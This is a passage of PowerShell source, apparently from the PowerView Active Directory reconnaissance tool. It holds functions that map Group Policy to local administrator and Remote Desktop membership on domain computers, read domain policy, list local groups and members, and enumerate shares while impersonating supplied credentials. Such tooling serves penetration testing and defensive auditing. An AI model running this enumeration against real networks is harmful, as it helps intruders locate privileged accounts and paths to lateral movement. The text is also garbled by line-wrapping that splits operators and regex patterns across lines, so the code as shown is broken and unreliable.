[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] =
$Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

$ConvertArguments = @{}
if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] =
$Credential }

$SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
}

PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] =
$Identity }

Get-DomainGPO @SearcherArguments | ForEach-Object {


$GPOdisplayName = $_.displayname
$GPOname = $_.name
$GPOPath = $_.gpcfilesyspath

$ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows


NT\SecEdit\GptTmpl.inf" }
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] =
$Credential }

$Inf = Get-GptTmpl @ParseArgs

if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {


$Memberships = @{}

ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {


$Group, $Relation = $Membership.Key.Split('__', $SplitOption) |
ForEach-Object {$_.Trim()}

$MembershipValue = $Membership.Value | Where-Object {$_} |


ForEach-Object { $_.Trim('*') } | Where-Object {$_}

if ($PSBoundParameters['ResolveMembersToSIDs']) {

$GroupMembers = @()
ForEach ($Member in $MembershipValue) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
$ConvertToArguments = @{'ObjectName' = $Member}
if ($PSBoundParameters['Domain'])
{ $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID @ConvertToArguments

if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$MembershipValue = $GroupMembers
}

if (-not $Memberships[$Group]) {
$Memberships[$Group] = @{}
}
if ($MembershipValue -isnot [System.Array]) {$MembershipValue =
@($MembershipValue)}
$Memberships[$Group].Add($Relation, $MembershipValue)
}

ForEach ($Membership in $Memberships.GetEnumerator()) {


if ($Membership -and $Membership.Key -and ($Membership.Key -
match '^\*')) {

$GroupSID = $Membership.Key.Trim('*')
if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
$GroupName = ConvertFrom-SID -ObjectSID $GroupSID
@ConvertArguments
}
else {
$GroupName = $False
}
}
else {
$GroupName = $Membership.Key

if ($GroupName -and ($GroupName.Trim() -ne '')) {


if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
elseif ($GroupName.Trim() -ne '') {
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain'])
{ $ConvertToArguments['Domain'] = $Domain }
$GroupSID = ConvertTo-SID @ConvertToArguments
}
else {
$GroupSID = $Null
}
}
}
$GPOGroup = New-Object PSObject
$GPOGroup | Add-Member Noteproperty 'GPODisplayName'
$GPODisplayName
$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOGroup | Add-Member Noteproperty 'GPOType'
'RestrictedGroups'
$GPOGroup | Add-Member Noteproperty 'Filters' $Null
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf'
$Membership.Value.Memberof
$GPOGroup | Add-Member Noteproperty 'GroupMembers'
$Membership.Value.Members
$GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$GPOGroup
}
}

$ParseArgs = @{
'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
}

Get-GroupsXML @ParseArgs | ForEach-Object {


if ($PSBoundParameters['ResolveMembersToSIDs']) {
$GroupMembers = @()
ForEach ($Member in $_.GroupMembers) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {

$ConvertToArguments = @{'ObjectName' = $Groupname}


if ($PSBoundParameters['Domain'])
{ $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID -Domain $Domain -
ObjectName $Member

if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$_.GroupMembers = $GroupMembers
}

$_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName


$_ | Add-Member Noteproperty 'GPOName' $GPOName
$_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$_
}
}
}
}

function Get-DomainGPOUserLocalGroupMapping {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOUserLocalGroupMapping')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,

[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop
Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] =
$SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $CommonArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] =
$Credential }
}

PROCESS {
$TargetSIDs = @()

if ($PSBoundParameters['Identity']) {
$TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity |
Select-Object -Expand objectsid
$TargetObjectSID = $TargetSIDs
if (-not $TargetSIDs) {
Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID
for identity '$Identity'"
}
}
else {

$TargetSIDs = @('*')
}

if ($LocalGroup -match 'S-1-5') {


$TargetLocalSID = $LocalGroup
}
elseif ($LocalGroup -match 'Admin') {
$TargetLocalSID = 'S-1-5-32-544'
}
else {

$TargetLocalSID = 'S-1-5-32-555'
}

if ($TargetSIDs[0] -ne '*') {


ForEach ($TargetSid in $TargetSids) {
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating
nested group memberships for: '$TargetSid'"
$TargetSIDs += Get-DomainGroup @CommonArguments -Properties
'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid
}
}

Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID:


$TargetLocalSID"
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain
SIDs: $TargetSIDs"

$GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs


| ForEach-Object {
$GPOgroup = $_
if ($GPOgroup.GroupSID -match $TargetLocalSID) {
$GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) )
{
$GPOgroup
}
}
}

if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {


if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains
$GPOgroup.GroupSID) ) {
$GPOgroup
}
}
} | Sort-Object -Property GPOName -Unique

$GPOgroups | Where-Object {$_} | ForEach-Object {


$GPOname = $_.GPODisplayName
$GPOguid = $_.GPOName
$GPOPath = $_.GPOPath
$GPOType = $_.GPOType
if ($_.GroupMembers) {
$GPOMembers = $_.GroupMembers
}
else {
$GPOMembers = $_.GroupSID
}

$Filters = $_.Filters

if ($TargetSIDs[0] -eq '*') {

$TargetObjectSIDs = $GPOMembers
}
else {
$TargetObjectSIDs = $TargetObjectSID
}

Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname'


-GPLink $GPOGuid | ForEach-Object {
if ($Filters) {
$OUComputers = Get-DomainComputer @CommonArguments -Properties
'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object
{$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty
dnshostname
}
else {
$OUComputers = Get-DomainComputer @CommonArguments -Properties
'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname
}

if ($OUComputers) {
if ($OUComputers -isnot [System.Array]) {$OUComputers =
@($OUComputers)}

ForEach ($TargetSid in $TargetObjectSIDs) {


$Object = Get-DomainObject @CommonArguments -Identity
$TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'

$IsGroup =
@('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype

$GPOLocalGroupMapping = New-Object PSObject


$GPOLocalGroupMapping | Add-Member Noteproperty
'ObjectName' $Object.samaccountname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN'
$Object.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID'
$Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain'
$Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup'
$IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty
'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid'
$GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath'
$GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType'
$GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty
'ContainerName' $_.Properties.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty
'ComputerName' $OUComputers
$GPOLocalGroupMapping.PSObject.TypeNames.Insert(0,
'PowerView.GPOLocalGroupMapping')
$GPOLocalGroupMapping
}
}
}

Get-DomainSite @CommonArguments -Properties


'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-DomainObject @CommonArguments -Identity
$TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'

$IsGroup = @('268435456','268435457','536870912','536870913') -
contains $Object.samaccounttype

$GPOLocalGroupMapping = New-Object PSObject


$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName'
$Object.samaccountname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN'
$Object.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID'
$Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup'
$IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain'
$Domain
$GPOLocalGroupMapping | Add-Member Noteproperty
'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid'
$GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath'
$GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType'
$GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName'
$_.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName'
$_.siteobjectbl

$GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping')
$GPOLocalGroupMapping
}
}
}
}
}

function Get-DomainGPOComputerLocalGroupMapping {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GGPOComputerLocalGroupMember')]
[CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
Param(
[Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory =
$True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName',
'Name')]
[String]
$ComputerIdentity,

[Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]


[Alias('OU')]
[String]
$OUIdentity,

[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop
Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] =
$SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $CommonArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] =
$Credential }
}

PROCESS {
if ($PSBoundParameters['ComputerIdentity']) {
$Computers = Get-DomainComputer @CommonArguments -Identity
$ComputerIdentity -Properties 'distinguishedname,dnshostname'

if (-not $Computers) {
throw "[Get-DomainGPOComputerLocalGroupMapping] Computer
$ComputerIdentity not found. Try a fully qualified host name."
}

ForEach ($Computer in $Computers) {

$GPOGuids = @()

$DN = $Computer.distinguishedname
$OUIndex = $DN.IndexOf('OU=')
if ($OUIndex -gt 0) {
$OUName = $DN.SubString($OUIndex)
}
if ($OUName) {
$GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName
-LDAPFilter '(gplink=*)' | ForEach-Object {
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-
9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\})
{0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty
Value }
}
}

Write-Verbose "Enumerating the sitename for: $


($Computer.dnshostname)"
$ComputerSite = (Get-NetComputerSiteName -ComputerName
$Computer.dnshostname).SiteName
if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
$GPOGuids += Get-DomainSite @CommonArguments -Identity
$ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object {
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-
9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\})
{0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty
Value }
}
}

$GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object


-Property GPOName -Unique | ForEach-Object {
$GPOGroup = $_

if($GPOGroup.GroupMembers) {
$GPOMembers = $GPOGroup.GroupMembers
}
else {
$GPOMembers = $GPOGroup.GroupSID
}

$GPOMembers | ForEach-Object {
$Object = Get-DomainObject @CommonArguments -Identity $_
$IsGroup =
@('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype

$GPOComputerLocalGroupMember = New-Object PSObject


$GPOComputerLocalGroupMember | Add-Member Noteproperty
'ComputerName' $Computer.dnshostname
$GPOComputerLocalGroupMember | Add-Member Noteproperty
'ObjectName' $Object.samaccountname
$GPOComputerLocalGroupMember | Add-Member Noteproperty
'ObjectDN' $Object.distinguishedname
$GPOComputerLocalGroupMember | Add-Member Noteproperty
'ObjectSID' $_
$GPOComputerLocalGroupMember | Add-Member Noteproperty
'IsGroup' $IsGroup
$GPOComputerLocalGroupMember | Add-Member Noteproperty
'GPODisplayName' $GPOGroup.GPODisplayName
$GPOComputerLocalGroupMember | Add-Member Noteproperty
'GPOGuid' $GPOGroup.GPOName
$GPOComputerLocalGroupMember | Add-Member Noteproperty
'GPOPath' $GPOGroup.GPOPath
$GPOComputerLocalGroupMember | Add-Member Noteproperty
'GPOType' $GPOGroup.GPOType

$GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGrou
pMember')
$GPOComputerLocalGroupMember
}
}
}
}
}
}

function Get-DomainPolicyData {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Source', 'Name')]
[String]
$Policy = 'Domain',

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

$ConvertArguments = @{}
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] =
$Credential }
}

PROCESS {
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$ConvertArguments['Domain'] = $Domain
}

if ($Policy -eq 'All') {


$SearcherArguments['Identity'] = '*'
}
elseif ($Policy -eq 'Domain') {
$SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-
00C04FB984F9}'
}
elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) {
$SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-
00C04FB984F9}'
}
else {
$SearcherArguments['Identity'] = $Policy
}

$GPOResults = Get-DomainGPO @SearcherArguments

ForEach ($GPO in $GPOResults) {

$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\


SecEdit\GptTmpl.inf"

$ParseArgs = @{
'GptTmplPath' = $GptTmplPath
'OutputObject' = $True
}
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] =
$Credential }

Get-GptTmpl @ParseArgs | ForEach-Object {


$_ | Add-Member Noteproperty 'GPOName' $GPO.name
$_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname
$_
}
}
}
}

function Get-NetLocalGroup {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LocalGroup.API')]
[OutputType('PowerView.LocalGroup.WinNT')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,

[ValidateSet('API', 'WinNT')]
[Alias('CollectionMethod')]
[String]
$Method = 'API',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
ForEach ($Computer in $ComputerName) {
if ($Method -eq 'API') {

$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0

$Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel,


[ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

$Offset = $PtrInfo.ToInt64()

if (($Result -eq 0) -and ($Offset -gt 0)) {

$Increment = $LOCALGROUP_INFO_1::GetSize()

for ($i = 0; ($i -lt $EntriesRead); $i++) {

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset


$Info = $NewIntPtr -as $LOCALGROUP_INFO_1

$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment

$LocalGroup = New-Object PSObject


$LocalGroup | Add-Member Noteproperty 'ComputerName'
$Computer
$LocalGroup | Add-Member Noteproperty 'GroupName'
$Info.lgrpi1_name
$LocalGroup | Add-Member Noteproperty 'Comment'
$Info.lgrpi1_comment
$LocalGroup.PSObject.TypeNames.Insert(0,
'PowerView.LocalGroup.API')
$LocalGroup
}

$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetLocalGroup] Error: $
(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {

$ComputerProvider = [ADSI]"WinNT://$Computer,computer"

$ComputerProvider.psbase.children | Where-Object
{ $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
$LocalGroup = ([ADSI]$_)
$Group = New-Object PSObject
$Group | Add-Member Noteproperty 'ComputerName' $Computer
$Group | Add-Member Noteproperty 'GroupName'
($LocalGroup.InvokeGet('Name'))
$Group | Add-Member Noteproperty 'SID' ((New-Object
System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0))
.Value)
$Group | Add-Member Noteproperty 'Comment'
($LocalGroup.InvokeGet('Description'))
$Group.PSObject.TypeNames.Insert(0,
'PowerView.LocalGroup.WinNT')
$Group
}
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-NetLocalGroupMember {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LocalGroupMember.API')]
[OutputType('PowerView.LocalGroupMember.WinNT')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,

[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$GroupName = 'Administrators',

[ValidateSet('API', 'WinNT')]
[Alias('CollectionMethod')]
[String]
$Method = 'API',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
ForEach ($Computer in $ComputerName) {
if ($Method -eq 'API') {

$QueryLevel = 2
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0

$Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName,


$QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]
$ResumeHandle)

$Offset = $PtrInfo.ToInt64()

$Members = @()

if (($Result -eq 0) -and ($Offset -gt 0)) {

$Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()

for ($i = 0; ($i -lt $EntriesRead); $i++) {

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset


$Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment

$SidString = ''
$Result2 =
$Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError =
[Runtime.InteropServices.Marshal]::GetLastWin32Error()

if ($Result2 -eq 0) {
Write-Verbose "[Get-NetLocalGroupMember] Error: $
(([ComponentModel.Win32Exception] $LastError).Message)"
}
else {
$Member = New-Object PSObject
$Member | Add-Member Noteproperty 'ComputerName'
$Computer
$Member | Add-Member Noteproperty 'GroupName'
$GroupName
$Member | Add-Member Noteproperty 'MemberName'
$Info.lgrmi2_domainandname
$Member | Add-Member Noteproperty 'SID' $SidString
$IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup
$Member.PSObject.TypeNames.Insert(0,
'PowerView.LocalGroupMember.API')
$Members += $Member
}
}

$Null = $Netapi32::NetApiBufferFree($PtrInfo)

$MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -


or ($_.SID -match '.*-501')} | Select-Object -Expand SID
if ($MachineSid) {
$MachineSid = $MachineSid.Substring(0,
$MachineSid.LastIndexOf('-'))

$Members | ForEach-Object {
if ($_.SID -match $MachineSid) {
$_ | Add-Member Noteproperty 'IsDomain' $False
}
else {
$_ | Add-Member Noteproperty 'IsDomain' $True
}
}
}
else {
$Members | ForEach-Object {
if ($_.SID -notmatch 'S-1-5-21') {
$_ | Add-Member Noteproperty 'IsDomain' $False
}
else {
$_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
}
}
}
$Members
}
else {
Write-Verbose "[Get-NetLocalGroupMember] Error: $
(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {

try {
$GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"

$GroupProvider.psbase.Invoke('Members') | ForEach-Object {

$Member = New-Object PSObject


$Member | Add-Member Noteproperty 'ComputerName' $Computer
$Member | Add-Member Noteproperty 'GroupName' $GroupName

$LocalUser = ([ADSI]$_)
$AdsPath =
$LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
$IsGroup = ($LocalUser.SchemaClassName -like 'group')

if(([regex]::Matches($AdsPath, '/')).count -eq 1) {

$MemberIsDomain = $True
$Name = $AdsPath.Replace('/', '\')
}
else {

$MemberIsDomain = $False
$Name = $AdsPath.Substring($AdsPath.IndexOf('/')
+1).Replace('/', '\')
}

$Member | Add-Member Noteproperty 'AccountName' $Name


$Member | Add-Member Noteproperty 'SID' ((New-Object
System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).
Value)
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup
$Member | Add-Member Noteproperty 'IsDomain'
$MemberIsDomain
$Member
}
}
catch {
Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer :
$_"
}
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-NetShare {

[OutputType('PowerView.ShareInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
ForEach ($Computer in $ComputerName) {

$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0

$Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]


$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

$Offset = $PtrInfo.ToInt64()

if (($Result -eq 0) -and ($Offset -gt 0)) {

$Increment = $SHARE_INFO_1::GetSize()

for ($i = 0; ($i -lt $EntriesRead); $i++) {

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset


$Info = $NewIntPtr -as $SHARE_INFO_1

$Share = $Info | Select-Object *


$Share | Add-Member Noteproperty 'ComputerName' $Computer
$Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$Share
}

